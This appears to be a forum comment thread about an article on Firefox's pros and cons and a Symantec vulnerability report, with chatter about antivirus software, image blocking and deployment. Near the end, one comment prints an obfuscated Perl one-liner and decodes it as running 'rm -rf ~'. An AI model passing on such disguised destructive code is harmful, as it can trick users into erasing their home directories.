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Pros and Cons of Firefox Critically Evaluated?
A Dafa Disciple writes "Fred Langa of Information Week has written an article claiming to discuss the 'Pros and Cons of Firefox'. At first I was excited because I thought I was going to get to finally read an enlightening, in-depth article that critically examined the browser. I should have known better. Aside from the usual criticism of open source software, it contains a reference to a Symantec Internet Security Report which claims that more security vulnerabilities in the last six months of 2004 were found in Firefox than IE. I'll leave it to you to analyze Mr. Langa's opinion and scrutinize Symantec's study and reputation as a security software developer."
Print version of the article fitting nicely onto one page.
Its a little odd that this article would be posted without a note that Firefox 1.0.3 has just been released: http://www.mozilla.org/products/firefox/releases/1 .0.3.html
I used to run adaware with IE, I've run it once and a while since I switched to firefox and it'll occasionally find a cookie or two that doesn't bother me. With IE it'd find a couple hundred problems.
Security vulnerabilites my ass.
(yes I know spyware and security is different, but firefox sure is a lot less of a pain in the ass)
They have that.
Its called mozilla.
Firefox is mozilla with most of the extra stuff besides the browser cut out.
I used to work for Symantec's tech support (used to--now Mike in India handles it) and the official line that we gave customers when they get a virus that Norton didn't detect was "Wait for the new definition file...it comes out next Wednesday." And when Norton wouldn't get rid of a virus, the line was "Norton Antivirus is a detection tool, not a removal tool." Which is total BS. If you read their website, the advertising for Norton AntiVirus says "Removes Viruses". That always troubled me, and I'm actually glad to be working elsewhere now.
I personally run Grisoft's AVG for free, and Zone Alarm, and not only have I never had a virus/worm, they run a zillion times faster than Norton AntiVirus and Personal Firewall.
Symantec makes bloatware that doesn't work well. Avoid it like the plague.
Don't take life so seriously. No one makes it out alive.
This says it all. Not only has Firefox had 1/7 the vulnerabilities of IE, but those that it did have were patched quicker and were of less severity in most cases.
Regards,
Steve
http://www.informationweek.com/shared/printableArt icle.jhtml?articleID=160900911
I read the comment about Firefox not displaying the Yahoo logo and I couldn't believe it. Then, I popped over to Yahoo.com and sure enough, no logo.
A quick check of the source told me what was going on. I recognized the yimg URL as one that I had *BLOCKED* images from long ago. Yahoo serves tons of graphics ads all over the Internet and I just blocked them all using Firefox's native ability to block images from a particular URL.
It seems Yahoo serves their own graphics from the same server as their ads. Silly rabbit.
So, it isn't a rendering bug with Firefox, it is a feature! And a damned useful one at that.
feature + ignorance = bug? Sad.
-Charles
Learning HOW to think is more important than learning WHAT to think.
Firefox's "install" consists of one directory. Copied to many machines. The configuration consists of one file stored in a user's profile. The distribution of both is easily automated without requiring the use of an MSI.
Plugins, BTW, are also in that folder in the user's profile. You know, the one that's stored on a central server in your large network? Just set up firefox once on a test machine, and copy the firefox profile folder to each user's windows profile, then distribute the program files however you prefer to do that kind of thing.
This can't be the first program with a non-MSI install method that an admin of a large network has encountered...
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Adding whitespace
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: s;;=]=>%-{<-|}<&|`{;
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$? is equal to zero normally, so that's the same as
s//=]=>%-{<-|}<&|`{/;
y/ -\/:-@[-`{-}/`-{~" -/;
s//$_/see
The first statement => $_ = '=]=>%-{<-|}<&|`{';
second translates $_ to 'system"rm -rf ~"'
third: eval $_
I assume ListZilla does the same thing? Perhaps better?